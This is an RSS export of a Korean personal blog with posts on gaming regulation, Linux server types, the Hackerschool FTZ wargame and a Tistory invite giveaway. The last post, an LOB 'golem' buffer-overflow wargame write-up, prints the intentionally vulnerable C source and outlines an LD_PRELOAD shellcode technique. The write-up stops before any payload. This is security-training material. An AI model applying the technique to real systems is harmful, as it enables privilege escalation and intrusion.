=&amp;gt; 게임업계들은 물론 국회의원들, 청소년들뿐만 아니라 많은 분들이 셧다운제와 쿨링오프제에 대한&lt;br /&gt;
비판적인 시각을 가지고 있습니다.&lt;br /&gt;
&lt;br /&gt;
이명박 대통령의 기사입니다.&amp;nbsp;
&lt;a href=&quot;http://www.dt.co.kr/contents.html?article_no=2012020602010531749001&quot;&gt;http://www.dt.co.kr/contents.html?article_no=2012020602010531749001&lt;/a&gt;&amp;nbsp;&lt;br /&gt;
&lt;br /&gt;
또 정부에서 이런 제도를 시행하는 이유 중 가장 큰 이유는 학교폭력에 있습니다. 요즘 문제가 많은 청소년들의 학교폭력 문제, 자살과 관련된 많은 일 들을 점점 게임과 연관시키고 있다는 것입니다. 그런데 너무 학교폭력과 게임을 연결지어 문제입니다. 이번 셧다운제와 쿨링오프제를 시행하면서 비용만 몇십억이 되는것으로 알고있습니다. 그런데 과연 그런 거금을 들여 온라인게임을 막는다고 학교폭력이 줄어들까요? 오히려 부모님의 주민등록번호를 이용해 게임아이디를 만드는 청소년들만 늘어날것이며 더불어 주민등록번호 도용사태까지 발생할 수 있습니다. 그리고 게임중독에 심각한 아이들은 어떤 일을 벌일지 모르게됩니다.&lt;br /&gt;
&lt;br /&gt;
차라리 대한민국의 IT 성장의 주동력인 게임산업을 망치는것보단 거금을 들여 지금 하고있는것보다 더욱 많은 노력을 들여 청소년들을 위한 컨텐츠를 많이 만들어야 한다고 생각합니다. 학교폭력 예방 동영상 제작이라던가 보안에 노력을 한다던가 중독 예방 캠프와 같은 컨텐츠를 더 많이 만드는방법이 큰 성과는 이루지 못하더라도 단순히 게임하는것을 막음으로써 많은 반발을 일으키는 것보단 많은 도움이 될거라 생각합니다.&lt;br /&gt;
&lt;br /&gt;
&lt;div style=&quot;margin-left: 4em; &quot;&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;u&gt;YIS 온라인 부팀장 김태욱 기자&lt;br /&gt;
xodnr631@naver.com&lt;br /&gt;
&lt;/u&gt;&lt;br /&gt;
&amp;nbsp;&lt;/div&gt;&lt;div class=&quot;blogger-news-widget&quot; style=&quot;width: 100%; text-align: center&quot;&gt;
		  					&lt;embed src=&quot;http://api.v.daum.net/static/recombox1.swf&quot; quality=&quot;high&quot; flashvars=&quot;nid=25620681&quot; allowscriptaccess=&quot;always&quot; allowfullscreen=&quot;false&quot; bgcolor=&quot;#ffffff&quot; width=&quot;400&quot; height=&quot;80&quot; type=&quot;application/x-shockwave-flash&quot; wmode=&quot;transparent&quot;&gt;&lt;/embed&gt;
						&lt;/div&gt;</description>
			<category>YIS 활동</category>
			<author>XoDNr_ 깝태</author>
			<guid>http://iyounges.org/573</guid>
			<comments>http://iyounges.org/573#entry573comment</comments>
			<pubDate>Mon, 13 Feb 2012 17:02:28 +0900</pubDate>
		</item>
		<item>
			<title>컴퓨터로 카카오톡을 하자!</title>
			<link>http://iyounges.org/568</link>
			<description>&lt;br /&gt;
아이팟터치를 수리맡겼는데 오히려 메인보드 고장이 나는 바람에 사용을 못 하는 관계 상&lt;br /&gt;
어떻게 하면 PC판 카카오톡, 컴퓨터로 카카오톡을 할 수 있을까 궁금해 검색을 하는 도중 VMware 에 안드로이드를&lt;br /&gt;
직접 설치하고 구축하여 컴퓨터에서 PC 카카오톡을 즐길 수 있는 방법이 여러개 있더군요,&lt;br /&gt;
&lt;br /&gt;그래서 저도 이런저런 글 보면서 여러개 시도해보니깐 되긴 되길래 약간의 불편함도 있지만 재밌는것 같아서~&lt;br /&gt;
필요하신 분들을 위해 강의를 쓰려고 합니다, 올리면 잘 봐주시면 감사하겠습니다~&amp;nbsp;&lt;div class=&quot;blogger-news-widget&quot; style=&quot;width: 100%; text-align: center&quot;&gt;
		  					&lt;embed src=&quot;http://api.v.daum.net/static/recombox1.swf&quot; quality=&quot;high&quot; flashvars=&quot;nid=25299066&quot; allowscriptaccess=&quot;always&quot; allowfullscreen=&quot;false&quot; bgcolor=&quot;#ffffff&quot; width=&quot;400&quot; height=&quot;80&quot; type=&quot;application/x-shockwave-flash&quot; wmode=&quot;transparent&quot;&gt;&lt;/embed&gt;
						&lt;/div&gt;</description>
			<category>다이어리</category>
			<author>XoDNr_ 깝태</author>
			<guid>http://iyounges.org/568</guid>
			<comments>http://iyounges.org/568#entry568comment</comments>
			<pubDate>Sat, 04 Feb 2012 18:49:09 +0900</pubDate>
		</item>
		<item>
			<title>리눅스 서버 유형별 개념정리</title>
			<link>http://iyounges.org/567</link>
			<description>&lt;br /&gt;
출처 - 되게 오래전에 찾았다가 제가 약간수정한것 같은데 정확한 출처를 모르겠네요 ㅠ&lt;br /&gt;
&lt;br /&gt;리눅스의 여러 서버 종류인 네임서버, 웹서버, 메일서버, FTP 서버, NFS 서버, 데이터베이스 서버 등&lt;br /&gt;
여러 서버들은 꼭 리눅스에서만 구현되는 것은 아닙니다.&lt;br /&gt;
&lt;br /&gt;네임서버는 흔히 DNS 라고 말하는 시스템을 말하는 것으로써 우리가 iyounges.org 를 웹 브라우저에 입력하고 이동을&lt;br /&gt;
눌렀을때 컴퓨터는 iyounges.org 를 DNS 서버에 해당 서버의 IP 를 물어봐서 그 IP 주소를 가져와서 실제 접속은 IP 로&amp;nbsp;&lt;br /&gt;
접속을 하게끔 만들어주는 시스템 입니다. 즉 이름을 IP 로 변환해주거나 IP 를 이름으로 변환해주는 시스템 입니다.&lt;br /&gt;
&lt;br /&gt;웹서버는 흔히 알고있듯이 홈페이를 만들어 웹에서 서비스를 하게 만드는 시스템입니다. 발전해오면서 보안이 중요해지면서&lt;br /&gt;
로그인 서비스를 사용하게 되었고 포털사이트는 컨텐츠를 대중에게 알리기 위한 용도로 사용되었습니다.&lt;br /&gt;
현재는 제로보드와 같은 편하게 웹을 제작할 수 있는 방법이 많이 생겨 진화도 훨씬 빨라지고 있습니다.&lt;br /&gt;
&lt;br /&gt;메일서버는 메일을 주고 받는 서버입니다. 대표적으로는 sendmail, Qmail 이 대표적입니다.&lt;br /&gt;
&lt;br /&gt;FTP 서버는 File Transfer Protocol 로써 파일을 전송하기 적합한 하나의 프로토콜 입니다. 현재는 대용량 파일 전송이나&lt;br /&gt;
기업과 개인의 파일 전송의 용도로 많이 쓰이고 있으며 리눅스에는 Proftp, Vsftp 와 같은 FTP 서버 프로그램이 있습니다.&lt;br /&gt;
&lt;br /&gt;NFS 서버는 Network FileSystem 의 약자로써 네트워크상에서 다른 호스트의 파일시스템(하드디스크)을 마치 자신의&lt;br /&gt;
것 처럼 읽고 쓸 수 있는 시스템 입니다. 클러스터링 기법에도 도임이 되며 근본적으로 메인 서버의 부화를 줄이기위해 다른 서버을 빌려 쓴다고 생각하시면 됩니다. 오직 유닉스 리눅스 상에서만 가능한 프로그램 입니다.&lt;br /&gt;
&lt;br /&gt;SAMBA 는 리눅스 시스템이 윈도우와의 파일 공유를 위해 쓰이는 프로그램 입니다. 윈도우는 파일공유 프로토콜이 리눅스와 틀리기 때문에 이 둘 간의 공유를 위해 상대방의 프로토콜을 인식할 수 있는 프로그램이 필요한데 그런 역할을 하고 있습니다.&lt;div class=&quot;entry-ccl&quot; style=&quot;clear: both; text-align: right; margin-bottom: 10px&quot;&gt;
	&lt;img id=&quot;ccl-icon-567-0&quot; class=&quot;entry-ccl-by&quot; src=&quot;http://i1.daumcdn.net/cfs.tistory/v/0/static/admin/editor/ccl_black01.png&quot; alt=&quot;저작자 표시&quot;/&gt;
	&lt;img id=&quot;ccl-icon-567-1&quot; class=&quot;entry-ccl-nc&quot; src=&quot;http://i1.daumcdn.net/cfs.tistory/v/0/static/admin/editor/ccl_black02.png&quot; alt=&quot;비영리&quot;/&gt;
	&lt;img id=&quot;ccl-icon-567-2&quot; class=&quot;entry-ccl-nd&quot; src=&quot;http://i1.daumcdn.net/cfs.tistory/v/0/static/admin/editor/ccl_black03.png&quot; alt=&quot;변경 금지&quot;/&gt;
	&lt;!--
	&lt;rdf:RDF xmlns=&quot;http://web.resource.org/cc/&quot; xmlns:dc=&quot;http://purl.org/dc/elements/1.1/&quot; xmlns:rdf=&quot;http://www.w3.org/1999/02/22-rdf-syntax-ns#&quot;&gt;
		&lt;Work rdf:about=&quot;&quot;&gt;
			&lt;license rdf:resource=&quot;http://creativecommons.org/licenses/by-nc-nd/2.0/kr/&quot; /&gt;
		&lt;/Work&gt;
		&lt;License rdf:about=&quot;http://creativecommons.org/licenses/by-nc-nd/&quot;&gt;
			&lt;permits rdf:resource=&quot;http://web.resource.org/cc/Reproduction&quot;/&gt;
			&lt;permits rdf:resource=&quot;http://web.resource.org/cc/Distribution&quot;/&gt;
			&lt;requires rdf:resource=&quot;http://web.resource.org/cc/Notice&quot;/&gt;
			&lt;requires rdf:resource=&quot;http://web.resource.org/cc/Attribution&quot;/&gt;
			&lt;prohibits rdf:resource=&quot;http://web.resource.org/cc/CommercialUse&quot;/&gt;
		&lt;/License&gt;
	&lt;/rdf:RDF&gt;
	--&gt;
&lt;/div&gt;
&lt;div class=&quot;blogger-news-widget&quot; style=&quot;width: 100%; text-align: center&quot;&gt;
		  					&lt;embed src=&quot;http://api.v.daum.net/static/recombox1.swf&quot; quality=&quot;high&quot; flashvars=&quot;nid=21722441&quot; allowscriptaccess=&quot;always&quot; allowfullscreen=&quot;false&quot; bgcolor=&quot;#ffffff&quot; width=&quot;400&quot; height=&quot;80&quot; type=&quot;application/x-shockwave-flash&quot; wmode=&quot;transparent&quot;&gt;&lt;/embed&gt;
						&lt;/div&gt;</description>
			<category>　시스템 &amp; 웹</category>
			<category>Linux</category>
			<category>리눅스 서버 종류</category>
			<author>XoDNr_ 깝태</author>
			<guid>http://iyounges.org/567</guid>
			<comments>http://iyounges.org/567#entry567comment</comments>
			<pubDate>Sun, 23 Oct 2011 00:41:15 +0900</pubDate>
		</item>
		<item>
			<title>해커스쿨 Linux FTZ 서버 직접 구축해보는 방법</title>
			<link>http://iyounges.org/566</link>
			<description>&lt;br /&gt;
링크 :&amp;nbsp;&lt;a href=&quot;http://www.hackerschool.org/HS_Boards/zboard.php?id=Free_Lectures&amp;amp;page=1&amp;amp;sn1=&amp;amp;divpage=1&amp;amp;sn=off&amp;amp;ss=on&amp;amp;sc=on&amp;amp;select_arrange=headnum&amp;amp;desc=asc&amp;amp;no=1871&quot;&gt;http://www.hackerschool.org/HS_Boards/zboard.php?id=Free_Lectures&amp;amp;page=1&amp;amp;sn1=&amp;amp;divpage=1&amp;amp;sn=off&amp;amp;ss=on&amp;amp;sc=on&amp;amp;select_arrange=headnum&amp;amp;desc=asc&amp;amp;no=1871&amp;nbsp;&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;오래되긴했지만 국내에서 유명한 해커스쿨의 워게임 FTZ 서버를 직접 구축하는 방법입니다.&lt;br /&gt;
직접 구축해보시면 서버는 이렇게 만드는구나~ 한번 익혀보시고 나중에 기회가 되시면 책이나 검색을 통해&lt;br /&gt;
공부하시면서 하실때 도움이 많이 될겁니다.&lt;br /&gt;
&lt;br /&gt;먼저 VMWare 는 기본적으로 있으셔야 하며 나머지 준비물은 링크로 달아드리겠습니다.&lt;br /&gt;
&lt;br /&gt;FTZ ISO :&amp;nbsp;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: &#039;맑은 고딕&#039;; line-height: 16px; font-size: small; color: rgb(0, 0, 0); &quot;&gt;&lt;a href=&quot;http://blueocean95.cafe24.com/ftz.iso&quot; target=&quot;_blank&quot; style=&quot;color: rgb(0, 0, 0); text-decoration: none; &quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://blueocean95.cafe24.com/ftz.iso&quot; target=&quot;_self&quot; title=&quot;[http://blueocean95.cafe24.com/ftz.iso]로 이동합니다.&quot;&gt;http://blueocean95.cafe24.com/ftz.iso&lt;br /&gt;
&lt;/a&gt;&lt;br /&gt;
FTZ Red Hat 9.0 :&amp;nbsp;&lt;/span&gt;&lt;a href=&quot;http://www.hackerschool.org/Sub_Html/HS_Service/VmwareLinux/index.html&quot;&gt;http://www.hackerschool.org/Sub_Html/HS_Service/VmwareLinux/index.html&lt;br /&gt;
&lt;br /&gt;&lt;/a&gt;FTZ Help :&amp;nbsp;&lt;a href=&quot;http://www.hackerschool.org/HS_Boards/data/Free_Lectures/FTZ_Restore_Manual.pdf&quot;&gt;http://www.hackerschool.org/HS_Boards/data/Free_Lectures/FTZ_Restore_Manual.pdf&lt;br /&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;/a&gt;&lt;div class=&quot;entry-ccl&quot; style=&quot;clear: both; text-align: right; margin-bottom: 10px&quot;&gt;
	&lt;img id=&quot;ccl-icon-566-0&quot; class=&quot;entry-ccl-by&quot; src=&quot;http://i1.daumcdn.net/cfs.tistory/v/0/static/admin/editor/ccl_black01.png&quot; alt=&quot;저작자 표시&quot;/&gt;
	&lt;img id=&quot;ccl-icon-566-1&quot; class=&quot;entry-ccl-nc&quot; src=&quot;http://i1.daumcdn.net/cfs.tistory/v/0/static/admin/editor/ccl_black02.png&quot; alt=&quot;비영리&quot;/&gt;
	&lt;img id=&quot;ccl-icon-566-2&quot; class=&quot;entry-ccl-nd&quot; src=&quot;http://i1.daumcdn.net/cfs.tistory/v/0/static/admin/editor/ccl_black03.png&quot; alt=&quot;변경 금지&quot;/&gt;
	&lt;!--
	&lt;rdf:RDF xmlns=&quot;http://web.resource.org/cc/&quot; xmlns:dc=&quot;http://purl.org/dc/elements/1.1/&quot; xmlns:rdf=&quot;http://www.w3.org/1999/02/22-rdf-syntax-ns#&quot;&gt;
		&lt;Work rdf:about=&quot;&quot;&gt;
			&lt;license rdf:resource=&quot;http://creativecommons.org/licenses/by-nc-nd/2.0/kr/&quot; /&gt;
		&lt;/Work&gt;
		&lt;License rdf:about=&quot;http://creativecommons.org/licenses/by-nc-nd/&quot;&gt;
			&lt;permits rdf:resource=&quot;http://web.resource.org/cc/Reproduction&quot;/&gt;
			&lt;permits rdf:resource=&quot;http://web.resource.org/cc/Distribution&quot;/&gt;
			&lt;requires rdf:resource=&quot;http://web.resource.org/cc/Notice&quot;/&gt;
			&lt;requires rdf:resource=&quot;http://web.resource.org/cc/Attribution&quot;/&gt;
			&lt;prohibits rdf:resource=&quot;http://web.resource.org/cc/CommercialUse&quot;/&gt;
		&lt;/License&gt;
	&lt;/rdf:RDF&gt;
	--&gt;
&lt;/div&gt;
&lt;div class=&quot;blogger-news-widget&quot; style=&quot;width: 100%; text-align: center&quot;&gt;
		  					&lt;embed src=&quot;http://api.v.daum.net/static/recombox1.swf&quot; quality=&quot;high&quot; flashvars=&quot;nid=21494614&quot; allowscriptaccess=&quot;always&quot; allowfullscreen=&quot;false&quot; bgcolor=&quot;#ffffff&quot; width=&quot;400&quot; height=&quot;80&quot; type=&quot;application/x-shockwave-flash&quot; wmode=&quot;transparent&quot;&gt;&lt;/embed&gt;
						&lt;/div&gt;</description>
			<category>　시스템 &amp; 웹</category>
			<category>리눅스 서버 구축</category>
			<category>시스템 스터디</category>
			<category>해커스쿨 리눅스 서버</category>
			<author>XoDNr_ 깝태</author>
			<guid>http://iyounges.org/566</guid>
			<comments>http://iyounges.org/566#entry566comment</comments>
			<pubDate>Sun, 16 Oct 2011 13:18:02 +0900</pubDate>
		</item>
		<item>
			<title>개방적이고 자유로운 티스토리! 10분에게 티스토리 초대장을 드립니다~</title>
			<link>http://iyounges.org/565</link>
			<description>&lt;div&gt;
	&lt;div style=&quot;padding: 30px; border: 1px solid #ebebeb; color: #656565; line-height: 1.8; background-color: #fff&quot;&gt;
		&lt;span style=&quot;font: 8pt/1 Verdana, Sans-serif; color: #fff; background-color: #fe842a; padding: 2px 5px&quot;&gt;i n v i t a t i o n&lt;/span&gt;
		&lt;div style=&quot;margin: 23px 0 32px; border-bottom: 3px solid #e3e3e3; height: 29px&quot;&gt;
			&lt;h3 style=&quot;font: bold 14pt/1 Dotum, Sans-serif; margin: 0; padding: 0 0 10px; border-bottom: 3px solid #fe842a; float: left&quot;&gt;티스토리 초대장&lt;/h3&gt;
			&lt;div style=&quot;float: right; margin-top: 9px&quot;&gt;
+ 남은 초대장 수 : &lt;span style=&quot;font-weight: bold; color: #fe842a&quot;&gt;00&lt;/span&gt;&lt;/div&gt;
		&lt;/div&gt;
		&lt;p&gt;안녕하세요!&lt;/p&gt;
		&lt;p&gt;티스토리에 보금자리를 마련하시려는 여러분께 초대장을 배포해 드리려고 합니다.&lt;/p&gt;
		&lt;p&gt;나만의, 내 생각을, 내 기억을 담는 소중한 블로그를 만들고 싶다면 티스토리로 시작해보세요!&lt;/p&gt;
		&lt;p&gt;티스토리 블로그는 초대에 의해서만 가입이 가능합니다. 원하시는 분은 &lt;strong style=&quot;text-decoration: underline&quot;&gt;댓글에 E-mail 주소를&lt;/strong&gt; 남겨주시면 초대장을 보내드립니다. 남겨주실 때에는 꼭 비밀댓글로 남겨주세요!&lt;/p&gt;
		&lt;p&gt;초대장을 보내드리고 바로 개설하시지 않으신 분들은 초대장을 회수할 수도 있으니 바로 개설해주세요!&lt;/p&gt;
		&lt;div style=&quot;border: 5px solid #e5e5e5; background-color: #f9f9f9; padding: 20px 0; margin: 25px 0&quot;&gt;
			&lt;table style=&quot;border-collapse: collpase; table-layout: fixed&quot;&gt;
				&lt;tbody&gt;&lt;tr&gt;
 
					&lt;td valign=&quot;top&quot; style=&quot;padding: 0 25px; border-right: 1px solid #e9e9e9&quot;&gt;
						&lt;div style=&quot;font: bold 24pt/1 Verdana, Sans-serif; margin-bottom: 20px&quot;&gt;
Yes&lt;/div&gt;
						&lt;div&gt;
							&lt;strong&gt;이런 분들께 드립니다!&lt;/strong&gt;
							&lt;div&gt;
&lt;strong&gt;1.&lt;/strong&gt; 다른 블로그를 사용해보셨던 분&lt;/div&gt;
							&lt;div&gt;
&lt;strong&gt;2.&lt;/strong&gt; 이메일 주소가 정상적인 분&lt;/div&gt;
							&lt;div&gt;
&lt;strong&gt;3.&lt;/strong&gt; 블로그를 시작하려는 이유를 남겨주신 분!&lt;/div&gt;
						&lt;/div&gt;
					&lt;/td&gt;
					&lt;td valign=&quot;top&quot; style=&quot;padding: 0 25px&quot;&gt;
						&lt;div style=&quot;font: bold 24pt/1 Verdana, Sans-serif; margin-bottom: 20px&quot;&gt;
No&lt;/div&gt;
						&lt;div&gt;
							&lt;strong&gt;이런 분들께 드리지 않아요!&lt;/strong&gt;
							&lt;div&gt;
&lt;strong&gt;1.&lt;/strong&gt; 이메일 주소가 의심되는 분!&lt;/div&gt;
							&lt;div&gt;
&lt;strong&gt;2.&lt;/strong&gt; 이메일 주소를 남기지 않으신 분&lt;/div&gt;
							&lt;div&gt;
&lt;strong&gt;3.&lt;/strong&gt; 이유도 없이 달라고 하시는 분!&lt;/div&gt;
						&lt;/div&gt;
					&lt;/td&gt;
				&lt;/tr&gt;
			&lt;/tbody&gt;&lt;/table&gt;
		&lt;/div&gt;
		&lt;div style=&quot;margin: 25px 0 10px; color: #a1a1a1; font: 11px/1.5 Dotum, Sans-serif&quot;&gt;
			&lt;div style=&quot;font-weight: bold; margin-bottom: 10px&quot;&gt;
티스토리 이래서 좋아요!&lt;/div&gt;
			&lt;div&gt;
1. 이미지, 동영상, 오디오, 파일까지! 무한 용량과 강력한 멀티미디어를 올릴 수 있어요!&lt;/div&gt;
			&lt;div&gt;
2. 스킨위자드로 스킨을 내맘대로~ 거기에 기능 확장 플러그인까지!&lt;/div&gt;
			&lt;div&gt;
3. 내가 원하는대로 myID.com으로 블로그 주소를 만들 수 있어요!&lt;/div&gt;
		&lt;/div&gt;
	&lt;/div&gt;
&lt;/div&gt;
&lt;br /&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;
지금 시간이 약간 늦은 시간이니 지원시간은 내일, 토요일 오전 11시까지 댓글을 달아주신 분들을&lt;br /&gt;
중점으로 해서 초대장을 선물해드리겠습니다.&lt;br /&gt;
선착순으로 드리는것은 절대 아니며 얼마나 성의있게 작성하였는지, 목적이 뚜렷한지를 초점을 두고 초대장을 드리겠습니다.&lt;br /&gt;
물론 선착순이 아무런 반영이 안되는건 아닙니다.&lt;br /&gt;
&lt;br /&gt;
첫번째로 쓴 사람과 세번째로 쓴 사람이 있는데 두 분다 완벽하게 썼다면 첫번째분에게 줄수 밖에 없겠죠,&lt;br /&gt;
그러면 많이들 부탁해주세요~~~~ 친절하게 아낌없이 드릴께요 ㅎㅎㅎㅎㅎㅎ&amp;nbsp;&lt;br /&gt;
&lt;br /&gt;(추가 : 중간에 글을 정말 열심히 써주셨다~ 라는 분이 계시면 바로 드리겠습니다 ^^ )&amp;nbsp;&lt;/div&gt;&lt;div class=&quot;entry-ccl&quot; style=&quot;clear: both; text-align: right; margin-bottom: 10px&quot;&gt;
	&lt;img id=&quot;ccl-icon-565-0&quot; class=&quot;entry-ccl-by&quot; src=&quot;http://i1.daumcdn.net/cfs.tistory/v/0/static/admin/editor/ccl_black01.png&quot; alt=&quot;저작자 표시&quot;/&gt;
	&lt;img id=&quot;ccl-icon-565-1&quot; class=&quot;entry-ccl-nc&quot; src=&quot;http://i1.daumcdn.net/cfs.tistory/v/0/static/admin/editor/ccl_black02.png&quot; alt=&quot;비영리&quot;/&gt;
	&lt;img id=&quot;ccl-icon-565-2&quot; class=&quot;entry-ccl-nd&quot; src=&quot;http://i1.daumcdn.net/cfs.tistory/v/0/static/admin/editor/ccl_black03.png&quot; alt=&quot;변경 금지&quot;/&gt;
	&lt;!--
	&lt;rdf:RDF xmlns=&quot;http://web.resource.org/cc/&quot; xmlns:dc=&quot;http://purl.org/dc/elements/1.1/&quot; xmlns:rdf=&quot;http://www.w3.org/1999/02/22-rdf-syntax-ns#&quot;&gt;
		&lt;Work rdf:about=&quot;&quot;&gt;
			&lt;license rdf:resource=&quot;http://creativecommons.org/licenses/by-nc-nd/2.0/kr/&quot; /&gt;
		&lt;/Work&gt;
		&lt;License rdf:about=&quot;http://creativecommons.org/licenses/by-nc-nd/&quot;&gt;
			&lt;permits rdf:resource=&quot;http://web.resource.org/cc/Reproduction&quot;/&gt;
			&lt;permits rdf:resource=&quot;http://web.resource.org/cc/Distribution&quot;/&gt;
			&lt;requires rdf:resource=&quot;http://web.resource.org/cc/Notice&quot;/&gt;
			&lt;requires rdf:resource=&quot;http://web.resource.org/cc/Attribution&quot;/&gt;
			&lt;prohibits rdf:resource=&quot;http://web.resource.org/cc/CommercialUse&quot;/&gt;
		&lt;/License&gt;
	&lt;/rdf:RDF&gt;
	--&gt;
&lt;/div&gt;
&lt;div class=&quot;blogger-news-widget&quot; style=&quot;width: 100%; text-align: center&quot;&gt;
		  					&lt;embed src=&quot;http://api.v.daum.net/static/recombox1.swf&quot; quality=&quot;high&quot; flashvars=&quot;nid=21240140&quot; allowscriptaccess=&quot;always&quot; allowfullscreen=&quot;false&quot; bgcolor=&quot;#ffffff&quot; width=&quot;400&quot; height=&quot;80&quot; type=&quot;application/x-shockwave-flash&quot; wmode=&quot;transparent&quot;&gt;&lt;/embed&gt;
						&lt;/div&gt;</description>
			<category>다이어리</category>
			<category>티스토리 초대</category>
			<category>티스토리 초대장 배포합니다</category>
			<category>티스토리 초대장 선물합니다</category>
			<author>XoDNr_ 깝태</author>
			<guid>http://iyounges.org/565</guid>
			<comments>http://iyounges.org/565#entry565comment</comments>
			<pubDate>Sat, 08 Oct 2011 01:31:20 +0900</pubDate>
		</item>
		<item>
			<title>[BOF-Wargames] LOB Load of BOF LEVEL11 (Skeleton -&gt; Golem) 문제풀이</title>
			<link>http://iyounges.org/564</link>
			<description>&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;-----------------------------------------------------------------------------------------------------------------------------&lt;/div&gt;
&lt;div&gt;Sur3x5f Report - LOB Level11 [ Skeleton -&amp;gt; Golem ]&amp;nbsp;&lt;/div&gt;
&lt;div&gt;-----------------------------------------------------------------------------------------------------------------------------&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;
드디어 골렘문제입니다. 부닺쳐봅시다!&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;
[skeleton@localhost xodnr]$ cat golem.c&lt;/div&gt;
&lt;div&gt;/*&lt;/div&gt;
&lt;div&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; The Lord of the BOF : The Fellowship of the BOF&lt;/div&gt;
&lt;div&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; - golem&lt;/div&gt;
&lt;div&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; - stack destroyer&lt;/div&gt;
&lt;div&gt;*/&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;
#include &amp;lt;stdio.h&amp;gt;&lt;/div&gt;
&lt;div&gt;#include &amp;lt;stdlib.h&amp;gt;&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;
extern char **environ;&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;
main(int argc, char *argv[])&lt;/div&gt;
&lt;div&gt;{&lt;/div&gt;
&lt;div&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; char buffer[40];&lt;/div&gt;
&lt;div&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; int i;&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; if(argc &amp;lt; 2){&lt;/div&gt;
&lt;div&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; printf(&quot;argv error\n&quot;);&lt;/div&gt;
&lt;div&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; exit(0);&lt;/div&gt;
&lt;div&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; }&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; if(argv[1][47] != &#039;\xbf&#039;)&lt;/div&gt;
&lt;div&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; {&lt;/div&gt;
&lt;div&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; printf(&quot;stack is still your friend.\n&quot;);&lt;/div&gt;
&lt;div&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; exit(0);&lt;/div&gt;
&lt;div&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; }&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; strcpy(buffer, argv[1]);&lt;/div&gt;
&lt;div&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; printf(&quot;%s\n&quot;, buffer);&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; // stack destroyer!&lt;/div&gt;
&lt;div&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; memset(buffer, 0, 44);&lt;/div&gt;
&lt;div&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; memset(buffer+48, 0, 0xbfffffff - (int)(buffer+48)); // 으어 이 망할놈&lt;/div&gt;
&lt;div&gt;}&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;
모든것을 초기화 시켜버립니다. 단 소스를 확인해보면 없어진게 하나 있습니다.&lt;/div&gt;
&lt;div&gt;바로 환경변수를 초기화 하는 부분입니다. 그렇다고 에그쉘을 사용하고 그러는 문제는 아니고&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;
밤새 고민하다가 해킹캠프때 새벽 5시 쯤 혁이에게 질문해 힌트를 얻어냈는데&lt;/div&gt;
&lt;div&gt;바로 LD_PRELOAD와 LD_LIBRARY_PATH 환경변수의 도움을 받아내는것입니다. 이 환경변수들은 공유라이브러리를 지정할때&lt;/div&gt;
&lt;div&gt;사용합니다. 고로 이 부분에 입력해주면 이 부분을 먼저 보고 이 부분에 없다면 PATH 환경변수를 참조해라~ 이런 역할을 합니다.&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;
이 친구들은 마찬가지로 스택에 찌꺼기를 남겨 사용할 수 있는데 그 부분을 이용해 공격하면됩니다.&lt;/div&gt;
&lt;div&gt;고로 공유라이브러리 파일을 생성할때 파일이름을 NOP 와 쉘코드로 지정해준다음 LD_PRELOAD 환경변수 등록하고&lt;/div&gt;
&lt;div&gt;주소찾아서 리턴시켜주어 쉘이 뜨도록 하는겁니다.&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;
추가 ---------------------------------- &amp;gt;&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;
http://linux-virus.springnote.com/pages/1855278&lt;/div&gt;
&lt;div&gt;http://codefactory.zc.bz/224&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;
